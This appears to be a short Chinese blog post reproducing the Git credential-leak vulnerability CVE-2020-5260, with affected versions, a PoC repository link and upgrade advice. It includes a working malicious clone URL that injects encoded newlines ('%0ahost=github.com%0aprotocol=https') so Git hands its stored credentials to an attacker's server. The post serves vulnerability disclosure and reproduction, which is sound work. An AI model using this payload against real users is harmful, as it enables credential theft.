Git凭证泄露漏洞(CVE-2020-5260)复现

描述

Git使用凭证助手(credential helper)来帮助用户存储和检索凭证。但是当一个URL中包含经过编码的换行符时,可能将非预期的值注入到credential helper的协议流中。这将使恶意URL欺骗Git客户端去向攻击者发送主机凭据。当使用受影响版本 Git对恶意 URL 执行 git clone 命令时会触发该漏洞。

 

影响版本

Git2.17.x <= 2.17.3Git2.18.x <= 2.18.2Git2.19.x <= 2.19.3Git2.20.x <= 2.20.2Git2.21.x <= 2.21.1Git2.22.x <= 2.22.2Git2.23.x <= 2.23.1Git2.24.x <= 2.24.1Git2.25.x <= 2.25.2Git2.26.x <= 2.26.0

 

poc地址:https://github.com/sv3nbeast/CVE-2020-5260.git

启动poc:go run poc.go

git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据,并在远程端请求身份验证时将返回的凭据附加到发出的请求中

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

获取到git的凭证

修复建议

升级到最新版

扫描二维码关注公众号,回复: 11398013 查看本文章

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/107388443